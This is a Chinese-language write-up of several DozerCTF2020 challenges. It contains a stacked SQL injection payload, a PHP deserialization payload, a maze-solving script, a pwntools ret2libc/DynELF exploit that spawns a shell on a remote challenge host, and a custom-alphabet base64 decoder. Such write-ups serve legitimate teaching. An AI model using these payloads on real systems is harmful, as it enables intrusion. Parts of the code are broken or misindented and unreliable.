

DozerCTF2020部分writeup

原创

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订阅专栏

真 · 签到

base64→base32→base16→base58

sqli-labs 0

url 二次编码绕过,堆叠注入,handler 代替 select

```
id=1%2527;handler%20`uziuzi`%20open%20as%20okami;handler%20okami%20read%20first;handler%20okami%20close;
```

白给的反序列化

```
path=O:4:"home":2:{s:12:"%00home%00method";s:5:"mysys";s:10:"%00home%00args";a:1:{i:0;s:8:"flag.php";}}
```

easy_maze

upx -d 脱壳

一个迷宫,WSAD 为上下左右,每次移动 WSAD 会改变上下左右位置

```
.data:0041A009 aBbbbbbbbbbbb db 'BBBBBBBBBBB',0
.data:0041A015 aAbbaaabbbbb db 'ABBAAABBBBBB',0
.data:0041A022 aAbbabaaabbaa db 'ABBABAAABBAA',0
.data:0041A02F aAbbabababbba db 'ABBABABABBBA',0
.data:0041A03C aAaaabababbba db 'AAAABABABBBA',0
.data:0041A049 aBbbbbabbbaaa db 'BBBBBABBBAAA',0
.data:0041A056 aBaaaaabbabb db 'BAAAAABBABB',0
.data:0041A063 aBabbbbbaaaaa db 'BABBBBAAAAA',0
.data:0041A070 aBaaaaababbab db 'BAAAAABABBAB',0
.data:0041A07D aBbbabababbab db 'BBBABABABBAB',0
.data:0041A08A aBbbbbababbab db 'BBBBBABBABBAB',0
.data:0041A097 aBbbaaaaabbae db 'BBBAAAAABBAE',0
```

解密脚本:

```
str_1='11112223332211111444411222211122333322211112'  
  
one='W'  
two='A'  
three='S'  
four='D'  
  
def one_fun():  
    global one,three  
    a=one  
    one=three  
    three=a  
  
def four_fun():  
    global one,two,three,four  
    a=four  
    four=three  
    three=two  
    two=one  
    one=a  
  
def three_fun():  
    global one,two,three,four  
    a=two  
    two=four  
    four=a  
    b=one  
    one=three  
    three=b  
  
def two_fun():  
    global one,two,three,four  
    a=one  
    one=two  
    two=three  
    three=four  
    four=a  
  
str=[0 for i in range(44)]  
for i in range(len(str_1)):  
  
    if str_1[i]=='3':  
        str[i]=one  
        one_fun()  
  
    if str_1[i]=='2':  
        str[i]=four  
        four_fun()  
  
    if str_1[i]=='1':  
        str[i]=three
```

```

three_fun()

if str_1[i]=='4':
    str[i]=two
    two_fun()

#md5=e2b94144f06fdb08695065331d44b59e
print ''.join(str)

```

最后 md5 加密得到 flag: e2b94144f06fdb08695065331d44b59e

ret2 temp

无libc的DynELF泄露

```

#coding:utf-8
from pwn import *

#p=process("./pwn")
p=remote('118.31.11.216','36666')
elf1=ELF("./pwn")

write_addr=elf1.symbols['write']
read_addr=elf1.symbols['read']
main_addr=0x804851F
binsh_addr=elf1.bss()
pppt_addr=0x08048618          #pppt的地址(pop ebx)
def leak(addr):
    p.recv()
    #write(fd, addr, len)
    payload='a'*112+p32(write_addr)+p32(main_addr)+p32(1)+p32(addr)+p32(4)
    p.sendline(payload)
    data=p.recv(4)
    #print data
    return data

d=DynELF(leak,elf=elf1)
sys_add=d.lookup("system","libc")
log.success("system"+str(hex(sys_add)))
p.recv()

#payload='a'*112+p32(read_addr)+p32(pppt_addr)+p32(0)+p32(binsh_addr)+p32(8)+p32(sys_add)+p32(0xdeadbeef)+p
payload='A'*112+p32(read_addr)+p32(sys_add)+p32(0)+p32(binsh_addr)+p32(8)+'AAAA'+p32(binsh_addr)
p.sendline(payload)
p.sendline("/bin/sh\x00")
p.interactive()

```

貌似有些不对

```

.rdata:0040B330 aSorry          db 'sorry!!',0          ; DATA XREF: sub_4023C0+58E10
.rdata:0040B338 aOeg7u19kuvcsv2 db '0EG7U19kUvCsV29qzT9qcUm0yDCwy2CiWj0rU20r',0
.rdata:0040B338          ; DATA XREF: sub_4023C0+3B210
.rdata:0040B361 aYes          db 'yes',0            ; DATA XREF: sub_4023C0+3E510
.rdata:0040B365          align 4
.rdata:0040B368 off_40B368    dd offset loc_402840  ; DATA XREF: sub_4023C0+12B1r
.rdata:0040B368          dd offset loc_402940  ; jump table for switch statement
.rdata:0040B368          dd offset loc_4029C0
.rdata:0040B368          dd offset loc_4024F2
.rdata:0040B368          dd offset loc_402620
.rdata:0040B37C aZyxcdefghijk db 'ZYXABCDEFHIJKLMN0PQRSTUVWXYZVWzyxcdefghijklmnopqrstuvwxyz0123456789+/',0
.rdata:0040B37C          ; DATA XREF: sub_402CC0+5C10

```

可疑字符但是 base 解码失败,猜测为 base 字符替换

base 字符替换脚本:

```

# coding:utf-8

#s = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
s = "ZYXABCDEFHIJKLMN0PQRSTUVWXYZVWzyxcdefghijklmnopqrstuvwxyz0123456789+/"
def My_base64_encode(inputs):
    # 将字符串转化为2进制
    bin_str = []
    for i in inputs:
        x = str(bin(ord(i))).replace('0b', '')
        bin_str.append('{:0>8}'.format(x))
    #print(bin_str)
    # 输出的字符串
    outputs = ""
    # 不够三倍数,需补齐的次数
    nums = 0
    while bin_str:
        #每次取三个字符的二进制
        temp_list = bin_str[:3]
        if(len(temp_list) != 3):
            nums = 3 - len(temp_list)
            while len(temp_list) < 3:
                temp_list += ['0' * 8]
            temp_str = "".join(temp_list)
            #print(temp_str)
            # 将三个8字节的二进制转换为4个十进制
            temp_str_list = []
            for i in range(0,4):
                temp_str_list.append(int(temp_str[i*6:(i+1)*6],2))
            #print(temp_str_list)
            if nums:
                temp_str_list = temp_str_list[0:4 - nums]

        for i in temp_str_list:
            outputs += s[i]
        bin_str = bin_str[3:]
    outputs += nums * '='
    print("Encrypted String:\n%s "%outputs)

def My_base64_decode(inputs):
    # 将字符串转化为2进制
    bin_str = []
    for i in inputs:
        if i != '=':
            x = str(bin(s.index(i))).replace('0b', '')
            bin_str.append('{:0>6}'.format(x))
    #print(bin_str)

```

```

# print(bin_str)
# 输出的字符串
outputs = ""
nums = inputs.count('=')
while bin_str:
    temp_list = bin_str[:4]
    temp_str = "".join(temp_list)
    #print(temp_str)
    # 补足8位字节
    if(len(temp_str) % 8 != 0):
        temp_str = temp_str[0:-1 * nums * 2]
    # 将四个6字节的二进制转换为三个字符
    for i in range(0,int(len(temp_str) / 8)):
        outputs += chr(int(temp_str[i*8:(i+1)*8],2))
    bin_str = bin_str[4:]
print("Decrypted String:\n%s "%outputs)

print()
print(" *****")
print(" *      (1)encode      (2)decode      *")
print(" *****")
print()

num = input("Please select the operation you want to perform:\n")
if(num == "1"):
    input_str = raw_input("Please enter a string that needs to be encrypted: \n")
    My_base64_encode(input_str)
else:
    input_str = raw_input("Please enter a string that needs to be decrypted: \n")
    My_base64_decode(input_str)

```

解密:OEG7U19kUvCsV29qzT9qcUm0yDCwy2CiWjOrU2Or
 然后栅栏解密得到:Dozerctf{old_man_is_good_man!}